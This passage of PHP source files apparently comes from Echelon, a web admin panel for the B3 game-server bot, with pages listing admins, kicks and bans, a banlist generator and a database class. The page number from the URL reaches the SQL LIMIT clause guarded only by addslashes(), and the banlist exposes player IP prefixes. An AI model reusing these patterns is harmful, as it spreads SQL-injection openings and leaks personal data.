Weeks</option>\r\n\t\t\t\t<option value=\"21\"<?php if($length == '21') echo ' selected=\"selected\"'; ?>>3 Weeks</option>\r\n\t\t\t\t<option value=\"28\"<?php if($length == '28') echo ' selected=\"selected\"'; ?>>4 Weeks</option>\r\n\t\t\t\t<option value=\"35\"<?php if($length == '35') echo ' selected=\"selected\"'; ?>>5 Weeks</option>\r\n\t\t\t\t<option value=\"182\"<?php if($length == '182') echo ' selected=\"selected\"'; ?>>6 Months</option>\r\n\t\t\t\t<option value=\"365\"<?php if($length == '365') echo ' selected=\"selected\"'; ?>>1 Year</option>\r\n\t\t\t</select>\r\n\t\t</form>\r\n\t</caption>\r\n\t<thead>\r\n\t\t<tr>\r\n\t\t\t<th>Name\r\n\t\t\t\t<?php linkSort('name', 'Name'); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Client-id\r\n\t\t\t\t<?php linkSort('id', 'Client-id'); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Level\r\n\t\t\t\t<?php linkSort('group_bits', 'Level'); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Connections\r\n\t\t\t\t<?php linkSort('connections', 'Connections'); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Last Seen\r\n\t\t\t\t<?php linkSort('time_edit', 'Last Seen'); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>\r\n\t\t\t\tDuration\r\n\t\t\t</th>\r\n\t\t</tr>\r\n\t</thead>\r\n\t<tfoot>\r\n\t\t<tr>\r\n\t\t\t<th colspan=\"6\">Click client name to see details</th>\r\n\t\t</tr>\r\n\t</tfoot>\r\n\t<tbody>\r\n\t<?php\r\n\tif($num_rows > 0) { // query contains stuff\r\n\t \r\n\t\tforeach($data_set as $info): // get data from query and loop\r\n\t\t\t$cid = $info['id'];\r\n\t\t\t$name = $info['name'];\r\n\t\t\t$level = $info['level'];\r\n\t\t\t$connections = $info['connections'];\r\n\t\t\t$time_edit = $info['time_edit'];\r\n\t\t\t\r\n\t\t\t## Change to human readable\t\t\r\n\t\t\t$time_diff = time_duration($time - $time_edit, 'yMwd');\t\t\r\n\t\t\t$time_edit = date($tformat, $time_edit); // this must be after the time_diff\r\n\t\t\t$client_link = clientLink($name, $cid);\r\n\r\n\t\t\t$alter = alter();\r\n\t\r\n\t\t\t// setup heredoc (table data)\t\t\t\r\n\t\t\t$data = <<<EOD\r\n\t\t\t<tr class=\"$alter\">\r\n\t\t\t\t<td><strong>$client_link</strong></td>\r\n\t\t\t\t<td>@$cid</td>\r\n\t\t\t\t<td>$level</td>\r\n\t\t\t\t<td>$connections</td>\r\n\t\t\t\t<td><em>$time_edit</em></td>\r\n\t\t\t\t<td><em>$time_diff</em></td>\r\n\t\t\t</tr>\r\nEOD;\r\n\r\n\t\t\techo $data;\r\n\t\tendforeach;\r\n\t\t\r\n\t\t$no_data = false;\r\n\t} else {\r\n\t\t$no_data = true;\r\n\t\techo '<tr class=\"odd\"><td colspan=\"6\">There are no admins that have been in active for more than '. $length . ' days.</td></tr>';\r\n\t} // end if query contains information\r\n\t?>\r\n\t</tbody>\r\n</table>\r\n\r\n<?php \r\n\tendif; // db error\r\n\r\n\trequire 'inc/footer.php'; \r\n?>", "echelon/adminkicks.php": "<?php\r\n$page = \"adminkicks\";\r\n$page_title = \"Admin Kicks\";\r\n$auth_name = 'penalties';\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\n$pagination = true; // this page requires the pagination part of the footer\r\n$query_normal = true; // this is a normal query page, so evoke query function in header.php\r\nrequire 'inc.php';\r\n\r\n##########################\r\n######## Varibles ########\r\n\r\n## Default Vars ##\r\n$orderby = \"time_add\";\r\n$order = \"DESC\";\r\n\r\n//$limit_rows = 75; // limit_rows can be set by the DB settings // uncomment this line to manually overide the number of table rows per page\r\n\r\n## Sorts requests vars ##\r\nif($_GET['ob'])\r\n\t$orderby = addslashes($_GET['ob']);\r\n\r\nif($_GET['o'])\r\n\t$order = addslashes($_GET['o']);\r\n\r\n// allowed things to sort by\r\n$allowed_orderby = array('target_name', 'time_add', 'admins_name');\r\nif(!in_array($orderby, $allowed_orderby)) { // Check if the sent varible is in the allowed array \r\n\t$orderby = 'time_add'; // if not just set to default id\r\n}\r\n\r\n## Page Vars ##\r\nif ($_GET['p'])\r\n  $page_no = addslashes($_GET['p']);\r\n\r\n$start_row = $page_no * $limit_rows;\r\n\r\n###########################\r\n######### QUERIES #########\r\n\r\n$query = \"SELECT p.time_add, p.reason, target.id as target_id, target.name as target_name, c.id as admin_id, c.name as admins_name FROM penalties p, clients c, clients as target WHERE admin_id != '0' AND p.type = 'Kick' AND inactive = 0 AND p.client_id = target.id AND p.admin_id = c.id\";\r\n\r\n$query .= sprintf(\" ORDER BY %s \", $orderby);\r\n\r\n## Append this section to all queries since it is the same for all ##\r\nif($order == \"DESC\")\r\n\t$query .= \" DESC\"; // set to desc \r\nelse\r\n\t$query .= \" ASC\"; // default to ASC if nothing adds up\r\n\r\n$query_limit = sprintf(\"%s LIMIT %s, %s\", $query, $start_row, $limit_rows); // add limit section\r\n\r\n## Require Header ##\t\r\nrequire 'inc/header.php'; \r\n\r\nif(!$db->error) :\r\n?>\r\n<table summary=\"A list of <?php echo limit_rows; ?> kicks made by admins in a servers\">\r\n\t<caption>Admin Kicks<small>There are <strong><?php echo $total_rows; ?></strong> kicks that have been added by admins</caption>\r\n\t<thead>\r\n\t\t<tr>\r\n\t\t\t<th>Client\r\n\t\t\t\t<?php linkSort('target_name', 'client name'); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Kicked At\r\n\t\t\t\t<?php linkSort('time_add', 'time the penalty was added'); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Reason</th>\r\n\t\t\t<th>\r\n\t\t\t\tAdmin\r\n\t\t\t\t<?php linkSort('admins_name', 'admin name'); ?>\r\n\t\t\t</th>\r\n\t\t</tr>\r\n\t</thead>\r\n\t<tfoot>\r\n\t\t<tr>\r\n\t\t\t<th colspan=\"4\"></th>\r\n\t\t</tr>\r\n\t</tfoot>\r\n\t<tbody>\r\n\t<?php\r\n\tif($num_rows > 0) : // query contains stuff\r\n\r\n\t\tforeach($data_set as $data): // get data from query and loop\r\n\t\t\t$time_add = $data['time_add'];\r\n\t\t\t$reason = tableClean($data['reason']);\r\n\t\t\t$client_id = $data['target_id'];\r\n\t\t\t$client_name = tableClean($data['target_name']);\r\n\t\t\t$admin_id = $data['admin_id'];\r\n\t\t\t$admin_name = tableClean($data['admins_name']);\r\n\r\n\t\t\t## Tidt data to make more human friendly\r\n\t\t\tif($time_expire != '-1')\r\n\t\t\t\t$duration_read = time_duration($duration*60); // all penalty durations are stored in minutes, so multiple by 60 in order to get seconds\r\n\t\t\telse\r\n\t\t\t\t$duration_read = '';\r\n\r\n\t\t\t$time_add_read = date($tformat, $time_add);\r\n\t\t\t$reason_read = removeColorCode($reason);\r\n\t\t\t$client_link = clientLink($client_name, $client_id);\r\n\t\t\t$admin_link = clientLink($admin_name, $admin_id);\r\n\t\t\t\r\n\t\t\t## Row color\r\n\t\t\t$alter = alter();\r\n\r\n\t\t\t// setup heredoc (table data)\t\t\t\r\n\t\t\t$data = <<<EOD\r\n\t\t\t<tr class=\"$alter\">\r\n\t\t\t\t<td><strong>$client_link</strong></td>\r\n\t\t\t\t<td>$time_add_read</td>\r\n\t\t\t\t<td>$reason_read</td>\r\n\t\t\t\t<td><strong>$admin_link</strong></td>\r\n\t\t\t</tr>\r\nEOD;\r\n\r\n\t\techo $data;\r\n\t\tendforeach;\r\n\telse:\r\n\t\t$no_data = true;\r\n\t\techo '<tr class=\"odd\"><td colspan=\"4\">There are no kicks in the database</td></tr>';\r\n\tendif; // no records\r\n\t?>\r\n\t</tbody>\r\n</table>\r\n\r\n<?php \r\nendif;\r\n\r\nrequire 'inc/footer.php'; \r\n?>", "echelon/admins.php": "<?php\r\n$page = \"admins\";\r\n$page_title = \"Admin Listing\";\r\n$auth_name = 'clients';\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\n$pagination = true; // this page requires the pagination part of the footer\r\n$query_normal = true;\r\nrequire 'inc.php';\r\n\r\n##########################\r\n######## Varibles ########\r\n\r\n## Default Vars ##\r\n$orderby = \"group_bits\";\r\n$order = \"DESC\"; // either ASC or DESC\r\n\r\n//$limit_rows = 75; // limit_rows can be set by the DB settings // uncomment this line to manually overide the number of table rows per page\r\n\r\n## Sorts requests vars ##\r\nif($_GET['ob'])\r\n\t$orderby = addslashes($_GET['ob']);\r\n\r\nif($_GET['o'])\r\n\t$order = addslashes($_GET['o']);\r\n\r\n// allowed things to sort by\r\n$allowed_orderby = array('id', 'name', 'connections', 'group_bits', 'time_edit');\r\n// Check if the sent varible is in the allowed array \r\nif(!in_array($orderby, $allowed_orderby))\r\n\t$orderby = 'time_edit'; // if not just set to default id\r\n\r\n\r\n## Page Vars ##\r\nif ($_GET['p'])\r\n  $page_no = addslashes($_GET['p']);\r\n\r\n$start_row = $page_no * $limit_rows;\r\n\r\n\r\n###########################\r\n######### QUERIES #########\r\n\r\n$query = sprintf(\"SELECT c.id, c.name, c.connections, c.time_edit, g.name as level\r\n\tFROM clients c LEFT JOIN groups g ON c.group_bits = g.id\r\n\tWHERE c.group_bits >= 8 ORDER BY %s\", $orderby);\r\n\r\n## Append this section to all queries since it is the same for all ##\r\n$order = strtoupper($order); // force uppercase to stop inconsistentcies\r\nif($order == \"DESC\")\r\n\t$query .= \" DESC\"; // set to desc \r\nelse\r\n\t$query .= \" ASC\"; // default to ASC if nothing adds up\r\n\r\n$query_limit = sprintf(\"%s LIMIT %s, %s\", $query, $start_row, $limit_rows); // add limit section\r\n\r\n## Require Header ##\t\r\nrequire 'inc/header.php';\r\n\r\nif(!$db->error) :\r\n?>\r\n\r\n<table summary=\"A list of all registered admins\">\r\n\t<caption>Admin Listing<small>A list of all registered admins</small></caption>\r\n\t<thead>\r\n\t\t<tr>\r\n\t\t\t<th>Name\r\n\t\t\t\t<?php linkSort('name', 'Name'); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Level\r\n\t\t\t\t<?php linkSort('group_bits', 'Level'); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Client-id\r\n\t\t\t\t<?php linkSort('id', 'Client-id'); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Connections\r\n\t\t\t\t<?php linkSort('connections', 'Connections'); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Last Seen\r\n\t\t\t\t<?php linkSort('time_edit', 'Last Seen'); ?>\r\n\t\t\t</th>\r\n\t\t</tr>\r\n\t</thead>\r\n\t<tfoot>\r\n\t\t<tr>\r\n\t\t\t<th colspan=\"5\"></th>\r\n\t\t</tr>\r\n\t</tfoot>\r\n\t<tbody>\r\n\t<?php\r\n\t\r\n\tif($num_rows > 0) : // query contains stuff\r\n\t \r\n\t\tforeach($data_set as $data): // get data from query and loop\r\n\t\t\t$cid = $data['id'];\r\n\t\t\t$name = $data['name'];\r\n\t\t\t$level = $data['level'];\r\n\t\t\t$connections = $data['connections'];\r\n\t\t\t$time_edit = $data['time_edit'];\r\n\t\t\t\r\n\t\t\t## Change to human readable\t\t\r\n\t\t\t$time_edit_read = date($tformat, $time_edit); // this must be after the time_diff\r\n\t\t\t$client_link = clientLink($name, $cid);\r\n\t\t\t\r\n\t\t\t## row color\r\n\t\t\t$alter = alter();\r\n\t\r\n\t\t\t// setup heredoc (table data)\t\t\t\r\n\t\t\t$data = <<<EOD\r\n\t\t\t<tr class=\"$alter\">\r\n\t\t\t\t<td><strong>$client_link</strong></td>\r\n\t\t\t\t<td>$level</td>\r\n\t\t\t\t<td>@$cid</td>\r\n\t\t\t\t<td>$connections</td>\r\n\t\t\t\t<td><em>$time_edit_read</em></td>\r\n\t\t\t</tr>\r\nEOD;\r\n\r\n\t\t\techo $data;\r\n\t\tendforeach;\r\n\t\t\r\n\t\t$no_data = false;\r\n\telse:\r\n\t\t$no_data = true;\r\n\t\techo '<tr class=\"odd\"><td colspan=\"5\">There are no registered admins</td></tr>';\r\n\tendif; // no records\r\n\t?>\r\n\t</tbody>\r\n</table>\r\n\r\n<?php \r\n\tendif; // db error\r\n\r\n\trequire 'inc/footer.php'; \r\n?>", "echelon/banlist.php": "<?php\r\nerror_reporting(E_ALL ^ E_NOTICE); // show all errors but notices\r\n$page = 'banlist';\r\n\r\nrequire_once 'inc/ctracker.php'; // anti worm injection protection\r\nrequire_once 'inc/config.php'; // load the config file\r\n\r\nif(INSTALLED != 'yes') // if echelon is not install (a constant is added to the end of the cnfig during install) then die and tell the user to go  install Echelon\r\n\tdie('You still need to install Echelon. <a href=\"install/index.php\">Install</a>');\r\n\r\nrequire 'classes/dbl-class.php'; // class to preform all DB related actions\r\n$dbl = DBL::getInstance(); // start connection to the local Echelon DB\r\n\r\n$games_list = $dbl->gamesBanlist();\r\n\r\n$num_games = $games_list['num_rows'];\r\n\r\nif($num_games > 0) :\r\n\r\n\trequire 'classes/mysql-class.php'; // class to preform all B3 DB related actions\r\n\t\r\n\theader(\"Content-type: text/plain\");\r\n\theader(\"Cache-Control: no-store, no-cache\");\r\n\techo \"\\n\";\r\n\techo \"//------------------------------------------------------\\n\";\r\n\techo \"//            BAN LIST\\n\";\r\n\techo \"//------------------------------------------------------\\n\";\r\n\techo \"// Generated :   \" . date(DATE_ATOM, time()) . \"\\n\";\r\n\techo \"//------------------------------------------------------\\n\";\r\n\techo \"//\\n\";\r\n\techo \"// Cut & paste into your banlist.txt or save it to use it directly. \\n\";\r\n\techo \"// The -1 places the ban forever.\\n\";\r\n\techo \"// The 0 in IPs prevents IP changing : the ban is made for all the IP mask ( from 0 to 255 ).\\n\";\r\n\techo \"// You need to set g_filterban to 1 on your server ( add g_filterban 1 to your cfg )\\n\";\r\n\techo \"//\\n\";\r\n\techo \"//------------------------------------------------------\\n\";\r\n\techo \"\\n\";\r\n\t\t\r\n\tforeach($games_list['data'] as $game) :\r\n\r\n\t\t$db = new DB_B3($game['db_host'], $game['db_user'], $game['db_pw'], $game['db_name'], true);\r\n\t\t\r\n\t\t$banInfo = new gameBanInfo($game['name']);\r\n\t\t\r\n\tendforeach;\r\n\t\r\nendif;\r\n\r\nclass gameBanInfo {\r\n  \r\n\tprivate $game_name;\r\n\tprivate $banCount = 0;\r\n  \r\n\tpublic function __construct($game_name) {\r\n\t\t$this->game_name = $game_name; // log the game name\r\n\t\t\r\n\t\t$results = $this->getBanFromDB(); // get the data from the db\r\n\t\t\r\n\t\t$this->banCount = $results['num_rows']; // find out how many bans there are\r\n\t\t\r\n\t\t$this->writeBans($results['data']); // spit out the results\r\n\t}\r\n\t\r\n\tpublic function destruct() {\r\n\t\t$this->banCount = 0;\r\n\t}\r\n\t\r\n\tprivate function getBanCount() {\r\n\t\treturn $this->banCount;\r\n\t}\r\n  \r\n\tprivate function getBanFromDB() {\r\n\t\tglobal $db;\r\n\r\n\t\t$sql = \"SELECT p.id, p.type, p.time_add, p.reason, p.inactive, c.name, c.ip FROM penalties p, clients c WHERE p.type = 'Ban' AND inactive = 0 AND p.client_id = c.id AND p.time_expire = -1 AND c.ip != '' ORDER BY p.id DESC\";\r\n\t\t$results = $db->query($sql);\r\n\t\treturn $results;\r\n\t}\r\n  \r\n\tpublic function writeBans($data) {\r\n\t\tglobal $config;\r\n\r\n\t\techo \"\\n\"; \r\n\t\techo \"\\n\";\r\n\t\techo \"---------------------------------------------------------------\\n\";\r\n\t\techo \"// Permanent bans from \" . $this->game_name . \" \\n\";\r\n\t\techo \"// There are \". $this->getBanCount() .\" permanent bans for this game \\n\";\r\n\t\tforeach ($data as $ban) :\r\n\t\t\t$text = preg_replace('/(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.\\d{1,3}/','$1.$2.$3.0',$ban['ip']) . ':-1   // ';\r\n\t\t\t$text .= $ban['name'];\r\n\t\t\t$text .= '    banned on  ' . date('d/m/Y (H:i)',$ban['time_add']);\r\n\t\t\t$text .= ', reason : ' . $ban['reason'];\r\n\t\t\techo $text . \"\\n\";\r\n\t\tendforeach;\r\n\t}  \r\n\r\n}\r\n", "echelon/bans.php": "<?php\r\nif(!isset($_GET['t']))\r\n\t$t = 'b';\r\nelse\r\n\t$t = $_GET['t'];\r\n\t\r\nif($t == 'a') :\r\n\t$page = \"adminbans\";\r\n\t$page_title = \"Admin Bans\";\r\n\t$type_admin = true;\r\nelse :\r\n\t$page = \"b3pen\";\r\n\t$page_title = \"B3 Penalties\";\r\n\t$type_admin = false; // this is not an admin page\r\nendif;\r\n\t\r\n$auth_name = 'penalties';\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\n$pagination = true; // this page requires the pagination part of the footer\r\n$query_normal = true;\r\nrequire 'inc.php';\r\n\r\n##########################\r\n######## Varibles ########\r\n\r\n## Default Vars ##\r\n$orderby = \"time_add\";\r\n$order = \"ASC\";\r\n\r\n## Sorts requests vars ##\r\nif($_GET['ob'])\r\n\t$orderby = addslashes($_GET['ob']);\r\n\r\nif($_GET['o'])\r\n\t$order = addslashes($_GET['o']);\r\n\r\n// allowed things to sort by\r\n$allowed_orderby = array('client_name', 'type', 'time_add', 'duration', 'time_expire');\r\nif(!in_array($orderby, $allowed_orderby)) // Check if the sent varible is in the allowed array \r\n\t$orderby = 'time_add'; // if not just set to default id\r\n\r\n## Page Vars ##\r\nif ($_GET['p'])\r\n  $page_no = addslashes($_GET['p']);\r\n\r\n$start_row = $page_no * $limit_rows;\r\n\r\n\r\n###########################\r\n######### QUERIES #########\r\nif($type_admin)\r\n\t$query = \"SELECT p.type, p.time_add, p.time_expire, p.reason, p.duration, target.id as client_id, target.name as client_name, c.id as admins_id, c.name as admins_name FROM penalties p, clients c, clients as target WHERE admin_id != '0' AND (p.type = 'Ban' OR p.type = 'TempBan') AND inactive = 0 AND p.time_expire <> 0 AND p.client_id = target.id AND p.admin_id = c.id\";\r\nelse\r\n\t$query = \"SELECT p.type, p.time_add, p.time_expire, p.reason, p.data, p.duration, p.client_id, c.name as client_name FROM penalties p LEFT JOIN clients c ON p.client_id = c.id WHERE p.admin_id = 0 AND (p.type = 'Ban' OR p.type = 'TempBan') AND p.inactive = 0\";\r\n\r\n\r\n$query .= sprintf(\" ORDER BY %s \", $orderby);\r\n\r\n## Append this section to all queries since it is the same for all ##\r\nif($order == \"DESC\")\r\n\t$query .= \" DESC\"; // set to desc \r\nelse\r\n\t$query .= \" ASC\"; // default to ASC if nothing adds up\r\n\r\n$query_limit = sprintf(\"%s LIMIT %s, %s\", $query, $start_row, $limit_rows); // add limit section\r\n\r\n## Require Header ##\t\r\nrequire 'inc/header.php';\r\n\r\nif(!$db->error) :\r\n\r\nif($type_admin) :\r\n\techo '<table summary=\"A list of '.$limit_rows.' active tempbans/bans made by admins in a servers\">';\r\n\t\techo '<caption>Admin Bans<small>There are <strong>'. $total_rows .'</strong> active bans/tempbans that have been added by admins</caption>';\r\nelse :\r\n\techo '<table summary=\"A list of '.$limit_rows.' active tempbans/bans made by B3 in a servers\">';\r\n\t\techo '<caption>B3 Bans<small>There are <strong>'. $total_rows .'</strong> active bans/tempbans that have been added by the B3 bot</caption>';\r\nendif;\r\n?>\r\n\r\n\t<thead>\r\n\t\t<tr>\r\n\t\t\t<th>Target\r\n\t\t\t\t<?php linkSortBan('client_name', 'Name', $t); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Type\r\n\t\t\t\t<?php linkSortBan('type', 'penalty type', $t); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Added\r\n\t\t\t\t<?php linkSortBan('time_add', 'time the penalty was added', $t); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Duration\r\n\t\t\t\t<?php linkSortBan('duration', 'duration of penalty', $t); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Expires\r\n\t\t\t\t<?php linkSortBan('time_expire', 'time the penalty expires', $t); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Reason</th>\r\n\t\t\t<?php if($type_admin) echo '<th>Admin</th>'; // only the admin type needs this header line ?>\r\n\t\t</tr>\r\n\t</thead>\r\n\t<tfoot>\r\n\t\t<tr>\r\n\t\t\t<?php \r\n\t\t\t\tif($type_admin) \r\n\t\t\t\t\techo '<th colspan=\"7\"></th>'; // admin type has 7 cols\r\n\t\t\t\telse \r\n\t\t\t\t\techo '<th colspan=\"6\"></th>'; // the b3 type has only 6 cols\r\n\t\t\t?>\r\n\t\t</tr>\r\n\t</tfoot>\r\n\t<tbody>\r\n\t<?php\r\n\tif($num_rows > 0) { // query contains stuff\r\n\r\n\t\tforeach($data_set as $data): // get data from query and loop\r\n\t\t\t$type = $data['type'];\r\n\t\t\t$time_add = $data['time_add'];\r\n\t\t\t$time_expire = $data['time_expire'];\r\n\t\t\t$reason = tableClean($data['reason']);\r\n\t\t\t$pen_data = tableClean($data['data']);\r\n\t\t\t$duration = $data['duration'];\r\n\t\t\t$client_id = $data['client_id'];\r\n\t\t\t$client_name = tableClean($data['client_name']);\r\n\t\t\t\r\n\t\t\tif($type_admin) { // only admin type needs these lines\r\n\t\t\t\t$admin_id = $data['admins_id'];\r\n\t\t\t\t$admin_name = tableClean($data['admins_name']);\r\n\t\t\t}\r\n\r\n\t\t\t## Tidt data to make more human friendly\r\n\t\t\tif($time_expire != '-1')\r\n\t\t\t\t$duration_read = time_duration($duration*60); // all penalty durations are stored in minutes, so multiple by 60 in order to get seconds\r\n\t\t\telse\r\n\t\t\t\t$duration_read = '';\r\n\r\n\t\t\t$time_expire_read = timeExpirePen($time_expire);\r\n\t\t\t$time_add_read = date($tformat, $time_add);\r\n\t\t\t$reason_read = removeColorCode($reason);\r\n\t\t\t\r\n\t\t\tif($type_admin) // admin cell only needed for admin type\r\n\t\t\t\t$admin = '<td><strong>'. clientLink($admin_name, $admin_id) .'</strong></td>';\r\n\t\t\telse\r\n\t\t\t\t$admin = NULL;\r\n\r\n\t\t\t## Row color\r\n\t\t\t$alter = alter();\r\n\t\t\t\t\r\n\t\t\t$client = clientLink($client_name, $client_id);\r\n\r\n\t\t\t// setup heredoc (table data)\t\t\t\r\n\t\t\t$data = <<<EOD\r\n\t\t\t<tr class=\"$alter\">\r\n\t\t\t\t<td><strong>$client</strong></td>\r\n\t\t\t\t<td>$type</td>\r\n\t\t\t\t<td>$time_add_read</td>\r\n\t\t\t\t<td>$duration_read</td>\r\n\t\t\t\t<td>$time_expire_read</td>\r\n\t\t\t\t<td>$reason_read\r\n\t\t\t\t\t<br /><em>$pen_data</em>\r\n\t\t\t\t</td>\r\n\t\t\t\t$admin\r\n\t\t\t</tr>\r\nEOD;\r\n\r\n\t\t\techo $data;\r\n\t\tendforeach;\r\n\t\t\r\n\t\t$no_data = false;\r\n\t} else {\r\n\t\t$no_data = true;\r\n\t\tif($type_admin) // slight chnages between different page types\r\n\t\t\techo '<tr class=\"odd\"><td colspan=\"7\">There no tempbans or bans made by admins in the database</td></tr>';\r\n\t\telse\r\n\t\t\techo '<tr class=\"odd\"><td colspan=\"6\">There no tempbans or bans made by the B3 bot in the database</td></tr>';\r\n\t} // end if query contains\r\n\t?>\r\n\t</tbody>\r\n</table>\r\n\r\n<?php \r\n\tendif; // db error\r\n\r\n\trequire 'inc/footer.php'; \r\n?>", "echelon/classes/dbl-class.php": "<?php\r\nif (!empty($_SERVER['SCRIPT_FILENAME']) && 'dbl-class.php' == basename($_SERVER['SCRIPT_FILENAME']))\r\n  \t\tdie ('Please do not load this page directly. Thanks!');\r\n\r\n/**\r\n * class DBL\r\n * desc: File to deal with the connection and all queries to the Echelon Database \r\n * note: this is a singleton type class\r\n *\r\n * @var object $mysql - the var that stores the connection to the mysql DB\r\n * @var object $instance - the pointer to the instance of the class\r\n * @var bool $dbl_error - holds the db errors if any\r\n * @var string $install_error - holds any installation test connection errors\r\n * @var bool $install - is this instance to be a install test connection or a full connection\r\n */ \r\n\r\nclass DbL {\r\n\r\n\tprivate $mysql = NULL;\r\n\tprivate $install = false;\r\n\tprivate static $instance;\r\n\t\r\n\tpublic $install_erorr = NULL;\r\n\tpublic $dbl_error = false;\r\n\t\r\n\t/**\r\n\t * Gets the current instance of the class, there can only be one instance (this make the class a singleton class)\r\n\t * \r\n\t * @param bool $install - weather or not this is an install test connection\r\n\t * @return object $instance - the current instance of the class\r\n\t */\r\n\tpublic static function getInstance($install = false) {\r\n        if (!(self::$instance instanceof self)) {\r\n            self::$instance = new self($install);\r\n        }\r\n \r\n        return self::$instance;\r\n    }\r\n\t\r\n\t/**\r\n     * Auto run on creation of instance: attempts to connect to the Echelon DB or dies with the mysql error\r\n     */\r\n\tprivate function __construct($install) {\r\n\t\r\n\t\tif(isset($install))\r\n\t\t\t$this->install = $install;\r\n\t\t\r\n\t\ttry { \r\n\t\t\t$this->connectDB(); // try to connect to the database\r\n\t\t\t\r\n\t\t} catch (Exception $e) {\r\n\t\t\r\n\t\t\tif($this->install) // if this is an install test return message\r\n\t\t\t\t$this->install_error = $e->getMessage();\r\n\t\t\telse\r\n\t\t\t\tdie($e->getMessage());\r\n\t\t\t\r\n\t\t} // end try/catch\r\n\t\t\r\n\t} // end construct\r\n\t\r\n\t// Do not allow the clone operation\r\n    private function __clone() { }\r\n\r\n\t/**\r\n     * Makes the connection to the DB or throws error\r\n     */\r\n    private function connectDB () {\r\n\t\tif($this->mysql != NULL) // if it is set/created (default starts at NULL)\r\n\t\t\t@$this->mysql->close();\r\n\r\n        $this->mysql = @new mysqli(DBL_HOSTNAME, DBL_USERNAME, DBL_PASSWORD, DBL_DB); // block any error on connect, it will be caught in the next line and handled properly\r\n\t\t\r\n\t\tif(mysqli_connect_errno()) : // if the connection error is on then throw exception\r\n\r\n\t\t\tif($this->install) :\r\n\t\t\t\t$error_msg = '<strong>Database Connection Error</strong>\r\n\t\t\t\t\t<p>'.mysqli_connect_error().'<br />\r\n\t\t\t\t\tThe connection information you supplied is incorrect. Please try again.</p>';\r\n\t\t\t\r\n\t\t\telseif(DB_CON_ERROR_SHOW) : // only if settings say show to con error, will we show it, else just say error\r\n\t\t\t\t$error_msg = '<h3>Database Connection Error</h3> \r\n\t\t\t\t\t<p>'.mysqli_connect_error().'<br />\r\n\t\t\t\t\tSince we have encountered a database error, Echelon is shutting down.</p>';\r\n\t\t\t\t\t\t\t\t\r\n\t\t\telse :\r\n\t\t\t\t$error_msg = '<h3>Database Problem</h3>\r\n\t\t\t\t\t<p>Since we have encountered a database error, Echelon is shutting down.</p>';\r\n\t\t\t\t\t\t\t\t\r\n\t\t\tendif;\r\n\r\n\t\t\tthrow new Exception($error_msg);\r\n\t\tendif;\r\n\t\t\r\n    } // end connect\r\n\t\r\n\t/**\r\n     * __destruct : Destructor for class, closes the MySQL connection\r\n     */\r\n    public function __destruct() {\r\n        if ($this->mysql != NULL) // if it is set/created (defalt starts at NULL)\r\n            @$this->mysql->close(); // close the connection\r\n    }\r\n\t\r\n\t/**\r\n\t * Handy Query function\r\n\t *\r\n\t * @param string $sql - the SQL query to execute\r\n\t * @param bool $fetch - fetch the data rows or not\r\n\t * @param string $type - typpe of query this is \r\n\t */\r\n\tprivate function query($sql, $fetch = true, $type = 'select') {\r\n\r\n\t\tif($this->error)\r\n\t\t\treturn false;\r\n\t\t\r\n\t\ttry {\r\n\t\t\r\n\t\t\tif($stmt = $this->mysql->prepare($sql))\r\n\t\t\t\t$stmt->execute();\r\n\t\t\telse\r\n\t\t\t\tthrow new Exception('');\r\n\r\n\t\t} catch (Exception $e) {\r\n\t\t\r\n\t\t\t$this->error = true; // there is an error\r\n\t\t\tif($this->error_on) // if detailed errors work\r\n\t\t\t\t$this->error_msg = \"MySQL Query Error (#\". $this->mysql->errno .\"): \". $this->mysql->error;\r\n\t\t\telse\r\n\t\t\t\t$this->error_msg = $this->error_sec;\r\n\r\n\t\t\treturn;\r\n\t\t}\r\n\t\t\r\n\t\t## setup results array\r\n\t\t$results = array();\r\n\t\t$results['data'] = array();\r\n\t\t\r\n\t\t## do certain things depending on type of query\r\n\t\tswitch($type) { \r\n\t\t\tcase 'select': // if type is a select query\r\n\t\t\t\t$stmt->store_result();\r\n\t\t\t\t$results['num_rows'] = $stmt->num_rows(); // find the number of rows retrieved\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\t\tcase 'update':\r\n\t\t\tcase 'insert': // if insert or update find the number of rows affected by the query\r\n\t\t\t\t$results['affected_rows'] = $stmt->affected_rows(); \r\n\t\t\tbreak;\r\n\t\t}\r\n\t\t\r\n\t\t## fetch the results\r\n\t\tif($fetch) : // only fetch data if we need it\r\n\t\t\r\n\t\t\t$meta = $stmt->result_metadata();\r\n\r\n\t\t\twhile ($field = $meta->fetch_field()) :\r\n\t\t\t\t$parameters[] = &$row[$field->name];\r\n\t\t\tendwhile;\r\n\r\n\t\t\tcall_user_func_array(array($stmt, 'bind_result'), $parameters);\r\n\r\n\t\t\twhile ($stmt->fetch()) :\r\n\t\t\t\tforeach($row as $key => $val) {\r\n\t\t\t\t\t$x[$key] = $val;\r\n\t\t\t\t}\r\n\t\t\t\t$results['data'][] = $x;\r\n\t\t\tendwhile;\r\n\r\n\t\tendif;\r\n\t\t\r\n\t\t## return and close off connections\r\n\t\treturn $results;\r\n\t\t$results->close();\r\n\t\t$stmt->close();\r\n\t\t\r\n\t} // end query()\r\n\t\r\n\t/***************************\r\n\t\r\n\t\tStart Query Functions\r\n\t\r\n\t****************************/\r\n\t\r\n\t\r\n\t/**\r\n\t * Gets an array of data for the settings form\r\n\t *\r\n\t * @param string $cat - category of settigs to retrieve\r\n\t * @return array\r\n\t */\r\n\tfunction getSettings() {\r\n        $query = \"SELECT SQL_CACHE name, value FROM ech_config\";\r\n        $stmt = $this->mysql->prepare($query) or die('Database 